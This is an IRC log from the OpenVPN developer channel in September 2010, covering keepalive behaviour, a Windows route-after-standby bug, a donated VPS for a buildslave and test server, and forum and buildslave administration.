mode/#openvpn-devel [+o mattock] by ChanServ 11:06 < raidz> http://twitter.com/openvpn/status/24116765488 11:06 < vpnHelper> Title: Twitter / OpenVPN Technologies: The OpenVPN community proj ... (at twitter.com) 11:56 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:54 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 13:39 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:39 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:39 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:56 < raidz> ecrist: can you add Frank to the wheel group on forums.openvpn.net? 16:44 < ecrist> sure 16:46 < ecrist> looks like he has. 16:46 < ecrist> fpe.... account, right? 16:57 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 17:08 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] --- Day changed Sat Sep 11 2010 02:19 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:19 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 04:27 <@cron2> mattock: very good! congrats! 04:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 07:37 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 09:05 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 11:31 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:34 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 17:22 < raidz> ecrist: yes fpe account. I will let him know, he said he didn't think he had it. thanks 23:02 -!- kisom_ [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 23:03 -!- kisom_ is now known as Guest67273 23:23 -!- Netsplit *.net <-> *.split quits: kisom, @jamesyonan 23:36 -!- Netsplit over, joins: jamesyonan 23:36 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 23:36 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Client Quit] --- Day changed Sun Sep 12 2010 00:01 -!- yam [yam@castor.xenbox.fr] has quit [Excess Flood] 00:24 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 00:51 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 01:06 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 04:17 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 04:17 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:18 -!- Guest67273 is now known as kisom 06:00 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 10:40 < ecrist> raidz: fwiw, root on that box is essentially disabled, everything should be done with sudo, which wheel has full access to. 10:40 < ecrist> the fpe... account has had wheel since at least June 30. 11:18 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 11:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:00 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 23:07 < krzie> https://forums.openvpn.net/viewtopic.php?f=1&t=7075 23:07 < vpnHelper> Title: OpenVPN Support Forum View topic - openvpn 2.1.3 will not install in windows 7 64 bit (at forums.openvpn.net) 23:07 < krzie> he says its the same driver issue 23:14 < krzie> https://forums.openvpn.net/viewtopic.php?f=4&t=7078 23:14 < vpnHelper> Title: OpenVPN Support Forum View topic - tun device was closed when starting daemon (ver2.1.3) (at forums.openvpn.net) 23:14 < krzie> that could be worthy of a TRAC ticket 23:50 < ecrist> krzie: we've had a ton of people claim that it works just fine. --- Day changed Mon Sep 13 2010 00:04 < krzie> cool 00:04 < krzie> =] 00:47 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:45 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 04:30 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:36 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 05:11 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:35 -!- krzie [~k@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 07:13 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 08:50 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 08:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:40 < vpnHelper> RSS Update - tickets: #53: tun device was closed when starting daemon 09:40 -!- Praetorians [~praetoria@c-69-251-38-26.hsd1.md.comcast.net] has joined #openvpn-devel 11:15 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:09 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 15:09 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] 23:59 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 23:59 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 23:59 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Tue Sep 14 2010 00:51 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 01:14 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:08 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 02:56 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 03:23 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:02 < vpnHelper> RSS Update - tickets: #54: Route dissapearing --- Log closed Tue Sep 14 05:37:24 2010 --- Log opened Tue Sep 14 05:49:11 2010 05:49 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 05:49 -!- Irssi: #openvpn-devel: Total of 15 nicks [2 ops, 0 halfops, 0 voices, 13 normal] --- Log closed Tue Sep 14 05:53:58 2010 --- Log opened Tue Sep 14 06:11:29 2010 06:11 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 06:11 -!- Irssi: #openvpn-devel: Total of 15 nicks [2 ops, 0 halfops, 0 voices, 13 normal] 06:11 -!- Irssi: Join to #openvpn-devel was synced in 33 secs 06:14 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 12:25 -!- krzie [~k@unaffiliated/krzee] has quit [Ping timeout: 272 seconds] --- Log closed Tue Sep 14 13:42:55 2010 --- Log opened Tue Sep 14 16:03:27 2010 16:03 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 16:03 -!- Irssi: #openvpn-devel: Total of 14 nicks [2 ops, 0 halfops, 0 voices, 12 normal] 16:04 -!- Irssi: Join to #openvpn-devel was synced in 42 secs 18:23 < krzee> i remember there was talk about enabling enable-password-save by default... is that currently being done? --- Log closed Tue Sep 14 18:36:45 2010 --- Log opened Tue Sep 14 19:11:26 2010 19:11 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 19:11 -!- Irssi: #openvpn-devel: Total of 13 nicks [2 ops, 0 halfops, 0 voices, 11 normal] 19:11 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 19:12 -!- Irssi: Join to #openvpn-devel was synced in 42 secs --- Log closed Tue Sep 14 19:18:06 2010 --- Log opened Tue Sep 14 19:41:14 2010 19:41 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 19:41 -!- Irssi: #openvpn-devel: Total of 14 nicks [2 ops, 0 halfops, 0 voices, 12 normal] 19:41 -!- Irssi: Join to #openvpn-devel was synced in 41 secs --- Log closed Tue Sep 14 19:50:35 2010 --- Log opened Tue Sep 14 19:56:25 2010 19:56 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 19:56 -!- Irssi: #openvpn-devel: Total of 14 nicks [2 ops, 0 halfops, 0 voices, 12 normal] 19:56 !pratchett.freenode.net [freenode-info] channel flooding and no channel staff around to help? Please check with freenode support: http://freenode.net/faq.shtml#gettinghelp 19:57 -!- Irssi: Join to #openvpn-devel was synced in 42 secs --- Log closed Tue Sep 14 21:13:33 2010 --- Log opened Tue Sep 14 21:13:37 2010 21:13 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 21:13 -!- Irssi: #openvpn-devel: Total of 14 nicks [2 ops, 0 halfops, 0 voices, 12 normal] 21:14 -!- Irssi: Join to #openvpn-devel was synced in 42 secs --- Day changed Wed Sep 15 2010 01:32 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 03:54 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:30 <@mattock> there is still space in tomorrow's meeting agenda: https://community.openvpn.net/openvpn/wiki/Topics-2010-09-16 06:30 < vpnHelper> Title: Topics-2010-09-16 – OpenVPN Community (at community.openvpn.net) 06:35 <@cron2> chances are very high that I won't make tomorrow - my brother is getting married (legal bits, the big celebration is on saturday) - and while I need to drive back home in the evening (customer appointment on friday) time planning is difficult 06:35 <@cron2> is dazo still travelling? 06:36 <@mattock> I believe dazo won't make it, either 06:37 <@mattock> I think Wayne's VPS offer could be discussed outside the meeting. I assume he's this "Praetorians" guy in here :D 06:56 < Praetorians> mattock: correct 07:02 < Praetorians> I'll join here when I get to work, so that if want to discuss the vps before hand I can answer any questions. 07:26 -!- JonTheNiceGuy [c2b0c10a@pdpc/supporter/active/jontheniceguy] has joined #openvpn-devel 07:32 < JonTheNiceGuy> Hi all. I'm making some changes to the OpenVPN configurator for the FON 2.0n routers. I wanted to check whether there was an implicit KeepAlive value on the OpenVPN values (as we're not configuring one by-default on the OpenVPN startup scripts), and what will happen if the server has the config value --keepalive 10 120 and the client has --keepalive 20 240? Which takes precidence? Is it the lowest one? The establishing or 07:33 < JonTheNiceGuy> Also, if I use --push "keepalive 0 0" will that forcibly disable keepalive packets? 07:37 < ecrist> JonTheNiceGuy: I don't know the answer, but if you hang around a bit, someone will know for sure. 07:37 < JonTheNiceGuy> Sure 07:46 <@cron2> JonTheNiceGuy: I can't say, but that's both fairly easy to test... 07:47 <@cron2> as far as I understand, client and server keepalives are independent - so the server will send a ping packet every 10 seconds, and the client will send one every 20 seconds. 07:47 <@cron2> (both sides independently measure whether the other side is still well, and give up if they come to the conclusion "it isn't") 07:48 < JonTheNiceGuy> That's useful to know. 07:48 <@cron2> ah 07:48 <@cron2> there's more information in the man page :-) - "--keepalive x y" is actually a macro to set "ping " + "ping-restart " 07:49 <@cron2> and if you run --keepalive on the server, it will push "ping " and "ping-restart " to the client 07:49 <@cron2> ... overriding client config 07:49 <@cron2> (push is handled after local config reading, so overrides, unless --no-pull is given) 07:50 <@cron2> the code says the man page is right 07:53 < JonTheNiceGuy> Yey for code and man pages being in agreement! (I wish all my code was like that ;) ) 08:18 -!- Praetorian|Lab [~praetoria@173.13.248.225] has joined #openvpn-devel 08:20 <@cron2> the openvpn man page is a bit long, but besides this, it's quite impressive - everything is there 08:20 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 08:51 <@mattock> just heard my wife's company uses OpenVPN for remote access :) 08:51 <@mattock> I have to configure it for her soon 09:03 < Praetorian|Lab> mattock: so should we start a pool to see if you will need to consult the man page to config it for her. I'm betting nope. 09:04 <@mattock> :) 10:02 < Praetorian|Lab> Did anyone have any questions about the vps that I might need to get answered before the meeting tomorrow? 10:03 -!- JonTheNiceGuy [c2b0c10a@pdpc/supporter/active/jontheniceguy] has left #openvpn-devel [] 10:21 <@cron2> wohoo 10:21 <@cron2> the first bug related to the IPv6 stuff has uncovered 10:21 <@cron2> if ( linux and iproute2 and topology subnet and ipv6 ) then "ipv6 will silently not be configured" 10:22 * cron2 is happy "someone is using this!!" :-) 10:32 <@mattock> praetorian: I need to check out our options, but I'll do it tomorrow 11:22 < Praetorian|Lab> cron2: I can't wait to test the debian builds that have the ipv6 stuff in it. I have been running the debian build from gerts page and it has been very stable. 11:22 < Praetorian|Lab> mattock: ok, np. 11:25 < raidz> mattock: ping 11:56 < kisom> Hey guys. Since it is now possible to specify several connection profiles, will it be possible soon to have a single openvpn daemon listening on both UDP and TCP? 12:09 * ecrist drools at the thought of openvpn virtual servers 12:12 < waldner> perhaps not with 2.x, but maybe with 3.x's new design... 12:24 <@cron2> Praetorian|Lab: cool :-) (btw, cron2 = gert) 12:24 <@cron2> kisom: not yet. I want to have this as well, but have been working on other bits and pieces 15:45 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 16:08 < Praetorian|Lab> cron2: heh, didn't know that was your irc alias. 16:08 -!- Praetorian|Lab [~praetoria@173.13.248.225] has left #openvpn-devel [] 16:29 < krzee> kisom, https://forums.openvpn.net/viewtopic.php?f=10&t=383 16:29 < vpnHelper> Title: OpenVPN Support Forum View topic - bind to multiple ports (at forums.openvpn.net) 18:28 < vpnHelper> RSS Update - tickets: #55: After enabling "topology subnet" no route settings for server --- Day changed Thu Sep 16 2010 00:52 < fkr> hi 00:52 < fkr> when is the development irc meeting tonight? 00:52 < fkr> (today) 00:53 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:42 <@cron2> fkr: 18:00 GMT 01:42 <@cron2> 20:00 european summer time 01:44 < fkr> ok 01:44 < fkr> perfect 01:45 < fkr> finally I will manage to be around 01:55 < vpnHelper> RSS Update - tickets: #56: WinXP: route setup broken after standby 02:11 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 02:18 -!- Praetorians [~praetoria@c-69-251-38-26.hsd1.md.comcast.net] has quit [] 02:31 <@mattock> ^^^ a bug that should be discussed with James today 02:31 <@mattock> apparently been around since 2004 07:11 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 08:10 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 08:12 * ecrist grumbles. 08:13 < ecrist> sending a PM to the board administrator for openvpn assistance is not how to get help. 08:13 < ecrist> : 09:15 <@mattock> ecrist: that seems to be the "easy way" to get help for SF.net projects, too... 09:15 <@mattock> I got a large number of questions that way for Adito/OpenVPN ALS 09:18 < ecrist> heh, at least in this case I can 'warn' the user 10:14 <@mattock> finally my buildslave VM's are attached to the buildmaster through the community VPN... ubuntu-10.04-i386, ubuntu-10.04-amd64, debian-5-i386 and debian-5-amd64 10:18 <@mattock> ecrist: what do you think about using Wayne's VPS as a FreeBSD buildslave + OpenVPN's public test server? 10:18 <@mattock> FreeBSD was one OS option 10:18 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2010-09-16 10:18 < vpnHelper> Title: Topics-2010-09-16 – OpenVPN Community (at community.openvpn.net) 10:24 -!- mode/#openvpn-devel [+o dazol] by ChanServ 10:24 < ecrist> *shrug* 10:24 -!- dazol is now known as dazo 10:25 < ecrist> to be honest, many people in ##openvpn use freebsd, so I'm not so worried about testing that OS. 10:25 < ecrist> I think a VMWare host with lots of other flavors of linux/windows/etc would be better, with some test network. 10:35 <@dazo> mattock: Hi! I'll be joining the meeting today ... just so you're warned :p 10:35 <@mattock> great! 10:36 <@mattock> dazo: if you got any topics for today, please add them to the agenda 10:36 <@mattock> it's a little empty currently 10:36 <@mattock> ecrist: ok 10:37 <@dazo> mattock: I'm reading through a lot of backlogs and mails now ... so I'm not sure I can manage that today ... hope to have had the possibility to get through the scrollback on this channel before the meeting start 10:38 <@mattock> there was the problem with comp-lzo stuff on the ml today 10:38 <@mattock> that might be worth bringing up to james 10:38 < ecrist> mattock/dazo: we've secured #openvpn-* on freenode now, and openvpn is an 'official' group, whatever that does for us 10:39 <@mattock> excellent! 10:39 <@mattock> does ## redirect to #? 10:39 <@dazo> ecrist: cool! 10:39 < ecrist> mattock: not yet, I plan on working that out soon. 10:39 < ecrist> I just haven't had the time to copy config over to the other channel. 10:42 <@d12fk> hi guys, will there be a meeting tonight 10:44 <@cron2> looks like it - mattock, dazo are there. I won't be (as far as I can see) 10:45 <@d12fk> I might sneak in later updating my thoughts on the Vista+routing issue 10:46 <@dazo> d12fk: sounds good! 11:56 < fkr> good evening 11:56 < fkr> the meeting is an hour, is that correct? 11:56 <@cron2> yes 11:57 -!- Praetorian|AtWor [~praetoria@pool-71-126-157-157.washdc.fios.verizon.net] has joined #openvpn-devel 11:57 -!- Praetorian|AtWor is now known as Praetorian|Mobil 11:59 < Praetorian|Mobil> how long per say before the meeting? 12:00 <@cron2> 61 minutes 12:00 < Praetorian|Mobil> k ty. 12:15 <@mattock> fkr: did you have something special in mind for today's meeting? 12:16 <@mattock> something I should add to topics list, thati s 12:16 <@mattock> that is 12:17 < fkr> no, I just wanted to be around :) 12:18 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] 12:27 <@mattock> ok :D 12:36 -!- dazo is now known as dazo_afk 12:38 <@mattock> forums and community will be migrated to a new hardware node in ~2 hours 30 mins: https://forums.openvpn.net/viewtopic.php?f=20&t=7102&sid=b0782e4d6dfee756ece17982b9509c4f 12:38 < vpnHelper> Title: OpenVPN Support Forum View topic - Community and forums migration today (at forums.openvpn.net) 12:43 -!- dazo_afk is now known as dazo 12:46 < ecrist> why the move? 12:47 <@mattock> ecrist: the host node was a Windows box 12:48 <@mattock> we're moving to a more reliable platform... the new setup allows DNS failover and that kind of stuff 12:48 <@mattock> raidz will know all the details 12:48 < ecrist> sweet 12:49 -!- dazo is now known as dazo_afk 12:50 -!- dazo_afk is now known as dazo 12:50 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 12:51 < raidz> :-) 12:52 < ecrist> raidz: any idea what's going on with forum rank images? 12:53 < raidz> oh yes, we are still working on that, been swamped lately, we are going to do them in-house 12:53 < ecrist> ok, not to hassel, just wanted to figure out where things stood. 12:54 < ecrist> if you didn't know, we have control of #openvpn-* on freenode, and are a registered 'official' group now 12:54 < raidz> Great news! 12:58 < raidz> So one thing that you guys will want to think about. We can do dns failover for you, if you want to do that you will need to think about how to do database replication etc 12:59 * ecrist shudders at the thought of mysql replication 13:00 <@mattock> perhaps postgresql would be better? I hear MySQL was crippled by Sun 13:00 < raidz> yeah, its like intentianally broken by oracle to force you to use their enterprise version 13:01 < raidz> we have had a lot of problems getting it to work in our setup 13:01 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:01 <@mattock> hi james! 13:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:02 <@jamesyonan> Hi 13:02 < fkr> hey james. 13:02 < fkr> <- the guy who maintains openvpn on openbsd (among other things) 13:02 <@mattock> dazo: did you find any stuff worth discussing? 13:03 <@mattock> perhaps the thread Alon started... 13:04 <@dazo> mattock: No, I haven't managed all I wanted ... but it's been a lot of interesting discussions on the ML lately 13:04 < ecrist> raidz: I'm thinking that the best thing to do would be to put up a webser that can respond with something as simple as 'Service Unavailable' 13:04 < ecrist> not worth the effort to replicate the db 13:04 < ecrist> if it's going to be long-term, we can restore the db from backups 13:05 <@mattock> ok, time to start meeting... 13:05 < ecrist> if the forum gets 'really' active, we can even start doing backups more frequently than once a day. 13:05 < raidz> ecrist: no problem, that works 13:05 * ecrist shuts up 13:05 <@mattock> ok, so topic list is short and here: https://community.openvpn.net/openvpn/wiki/Topics-2010-09-16 13:05 < vpnHelper> Title: Topics-2010-09-16 – OpenVPN Community (at community.openvpn.net) 13:06 <@mattock> I dug into the Windows route + hibernate/suspend issue today: https://community.openvpn.net/openvpn/ticket/56 13:06 < vpnHelper> Title: #56 (WinXP: route setup broken after standby) – OpenVPN Community (at community.openvpn.net) 13:06 -!- d303k [~heiko@88.130.197.223] has joined #openvpn-devel 13:06 <@mattock> seems like similar issues have been around since 2004 13:06 <@mattock> hi d303k! 13:06 < d303k> hello 13:07 <@mattock> jamesyonan: what's you're take on the Windows suspend/hibernate issue? Is that a known problem and something we could fix? 13:08 < d303k> mattock: what are the symptoms? 13:08 * dazo understands it as VPN routes are missing 13:08 <@mattock> d303k: check this bug report: https://community.openvpn.net/openvpn/ticket/56 13:08 < vpnHelper> Title: #56 (WinXP: route setup broken after standby) – OpenVPN Community (at community.openvpn.net) 13:08 <@mattock> there are several similar reports from 2004, 2006 and 2010 13:09 <@mattock> I'm wondering if this is an issue with Windows suspend/resume cycle or OpenVPN 13:09 <@jamesyonan> why not just re-add the routes after awakening from standy? 13:09 <@dazo> Without knowing how this stuff really works on Windows, I think it is related to that the routes are taken down automatically when the device is suspended 13:09 <@jamesyonan> does it occur when "persist-tun" is used? 13:09 < d303k> openvpn-gui does tear down openvpn when windows is suspended, however the bugreport doesn't mantion the gui 13:10 <@mattock> I'll check the latest ml thread again... 13:10 <@mattock> it's here: https://sourceforge.net/mailarchive/message.php?msg_name=L8D646C6A35154b2399CD5E4EB944E66D.1284482670.email.pmi.phoenixmi.com%40MHS 13:10 < vpnHelper> Title: SourceForge.net: OpenVPN: (at sourceforge.net) 13:10 -!- bGatti [~ben@cpe-024-074-150-231.carolina.res.rr.com] has joined #openvpn-devel 13:10 <@mattock> btw, better replace https with http 13:11 <@mattock> hi bGatti! 13:11 <@mattock> topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2010-09-16 13:11 < vpnHelper> Title: Topics-2010-09-16 – OpenVPN Community (at community.openvpn.net) 13:12 <@jamesyonan> hi ben 13:12 < bGatti> Hi. 13:12 <@mattock> jamesyonan: it seems using "persist-tun" makes no difference 13:12 <@jamesyonan> it's completely normal for the openvpn client to lose the connection with the server after awake from standby 13:13 <@jamesyonan> but it should reestablish it on wakeup 13:13 <@mattock> the issue seems to be that openvpn client does not reconnect properly after waking up 13:13 <@dazo> agreed ... but could it be that routes are processed in this case? 13:13 <@dazo> good point, mattock ... I took that for granted 13:14 <@mattock> on Windows 7 at least, although one guy reported that routes _are_ re-established after wakeup on WinXP 13:14 <@jamesyonan> is the issue a failure to reconnect, or does the reconnect occur but routes are not added? 13:15 <@dazo> we should probably request log files from the clients, with --verb set to minimum 5 ... 13:15 <@mattock> so we may be looking at two different issues: the old one (from 2004-2006) and the new one 13:15 <@dazo> unless anyone else got access to a Win7 box and can manage to reproduce this issue 13:15 <@mattock> dazo: agreed 13:16 < d303k> i have a virtual win7 at work# 13:16 <@mattock> I can ask for log files from the reporter 13:16 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 13:16 <@mattock> d303k: could you try to reproduce this issue? 13:16 <@dazo> I would say we should have a close look at this new Trac ticket first. A 6 year old report won't give too much right now 13:16 <@mattock> on Ubuntu 9.10 I've had zero problems with OpenVPN recovering from hibernation 13:16 < d303k> i'll try 13:17 <@dazo> d303k: cool! thx! 13:17 < fkr> mattock: can second that on 10.04 and 10.10 (which is beta) 13:17 <@mattock> fkr: ok 13:17 <@mattock> so most likely only related to Windows 13:18 <@mattock> ok, so I'll request log files from the reporter and d303k will try to reproduce this on Win7 13:18 <@mattock> next topic? 13:18 <@mattock> hmm, perhaps output of "route" command would be nice, too 13:18 < fkr> ack 13:18 <@mattock> what else? 13:18 <@dazo> I think it is isolated to Windows ... and I got a vague feeling it might be connected to the Windows TAP driver not being ready yet when openvpn.exe starts reconnecting 13:19 <@mattock> perhaps "ipconfig" output? 13:19 <@dazo> mattock: nah ... logs with --verb 5 or higher should be sufficient right now ... that will tell if routes are tried to be set or not, and if that fails or not 13:19 <@mattock> ok 13:20 <@dazo> ipconfig output of the tap device might be interesting though 13:20 < d303k> so the guy had the service start the connection 13:21 <@mattock> d303k: I think so, he didn't mention anything about a GUI 13:21 <@dazo> mattock: make it --verb 7 ... I think that can be good now 13:21 <@mattock> dazo: ack 13:21 <@mattock> next topic: Wayne's VPS server offer 13:21 <@mattock> wayne = praetorian 13:21 < Praetorian|Mobil> thats me :P 13:22 <@dazo> Cool! 13:22 <@mattock> praetorian: you mentioned the VPS was dual core... do you mean the VPS has two dedicated CPUs or that the host has two CPUs? 13:22 <@dazo> I would say that having a build slave and a public test server, where people (everyone who are interested) can try to connect against the server ... it should not forward anything, but could run a iperf server 13:23 < Praetorian|Mobil> the server is a 16 core box. 13:23 <@dazo> the build slave would be, secondary in my eyes 13:23 <@mattock> praetorian: ok, that's plenty :) 13:23 < Praetorian|Mobil> I bascially got in on an intro offer for 3 vps for a flat yearly fee that was too good to pass up for two vps let alone three 13:23 <@mattock> so I think we should use it for something that benefits from those 2 cores 13:24 < Praetorian|Mobil> we have used them for almost tow years now and the uptime is pretty damn good for vps providers 13:25 <@mattock> dazo: I was thinking along the same lines 13:25 < Praetorian|Mobil> but I only have uses for two now.. so instead of just letting it sit there and be wasted I would like to let the openvpn community use it 13:25 <@dazo> That's really awesome! 13:26 <@mattock> praetorian: what were the OS choices again? centos, debian, freebsd, ubuntu... what else? 13:26 < Praetorian|Mobil> win2008 ent I think was hte other one 13:26 <@mattock> oh yes... 13:26 <@mattock> would we have any use for a Win2008 server? 13:27 <@mattock> if not, I think a combined buildslave + test server would be best option 13:28 <@dazo> hmm ... I think it will be better use of it as test server + build slave .... but we need to think about how we do test the windows platform 13:29 < Praetorian|Mobil> the only request I have to make it not possible to be used as a spam tunnel. 13:29 <@dazo> Praetorian|Mobil: agreed! 13:29 <@mattock> praetorian: I'll make sure it won't be misused 13:30 < Praetorian|Mobil> :) 13:31 <@dazo> I'd say that's to restrict the firewall on that VM to only allow traffic via the tunnel to specific IPs ... like a iperf server or similar stuff 13:31 <@mattock> what if we use it as a buildslave and a test server, then? what OS to use? Debian/Ubuntu are already covered 13:31 <@dazo> Praetorian|Mobil: are there any bandwidth restrictions on this VM? 13:31 < Praetorian|Mobil> 5.6tb both ways a month 13:32 <@mattock> what happens if that limit is reached? 13:32 <@mattock> are the connections refused or do you get a really big bill? :) 13:32 < Praetorian|Mobil> hmm, good question.. let me look and see 13:32 <@dazo> Praetorian|Mobil: I'd consider that "unlimited" for our use case ;-) 13:33 <@dazo> mattock: If installing Linux, we can setup some iptables rules which can block traffic when it hits a certain threshold 13:33 < Praetorian|Mobil> they dont actually sy on their site.. so not sure, one thing, its capped at 20mbit rate.. 13:34 <@dazo> Praetorian|Mobil: if we're going for an OpenVPN test server, open for "everyone" to run tests against ... would that make you nervous? 13:35 < Praetorian|Mobil> nope, they have it QOS'd so if they go over that it will get throttled. 13:36 <@dazo> :) sounds good! 13:37 <@mattock> ugh... just got phone call... 13:38 <@mattock> I suggest using FreeBSD for the OS... all other OS'es are/can be covered easily with buildslaves 13:39 <@mattock> and for the "make test" server OS does not really matter I guess 13:39 <@mattock> and Windows is not an option :) 13:39 <@dazo> true enough! 13:39 <@mattock> I wouldn't want to contaminate forums.openvpn.net (freebsd VM) with buildslaves, either 13:40 <@mattock> praetorian: can we select the DNS name for the VPS? 13:40 < Praetorian|Mobil> sure, that should be possible. 13:40 < Praetorian|Mobil> you are speaking of reverse dns and host anme right 13:41 <@mattock> yep 13:41 < Praetorian|Mobil> should not be a problem. 13:41 < Praetorian|Mobil> just let me know what you want 13:41 <@mattock> ok 13:41 <@mattock> I guess that topic is covered, then :) 13:42 <@mattock> praetorian: thanks a lot for the VPS! 13:42 <@mattock> much appreciated! 13:43 <@mattock> jamesyonan, raidz: I'm interested in download statistics from 2.2-beta3 and 2.1.3... are any available? 13:43 <@mattock> s/from/for/1 13:44 < Praetorian|Mobil> can I inquire about the updated debian builds? with gerts ipv6 payload in them? 13:44 <@mattock> so far I've heard no complaints about 2.2-beta3 13:44 <@mattock> praetorian: sure 13:44 <@mattock> in fact, today I finally got my four buildslaves (debian-5-i386/amd64 and ubuntu-10.04-i386/amd64) connected to the buildmaster server 13:44 < raidz> I can parse our logs 13:45 <@mattock> raidz: thanks! 13:45 <@mattock> so, these buildslaves will build packages for their OS+architecture 13:45 <@mattock> I've already tested building debian packages using a buildslave and it seemed to work ok 13:46 <@mattock> the debian control files need some work, as does buildmaster configuration, but otherwise things are looking bright 13:46 <@mattock> I intend to continue working on these buildslaves tomorrow 13:47 <@mattock> If I'm don't run into big issues we'll have some debian/ubuntu packages based on "allmerged" branch available tomorrow 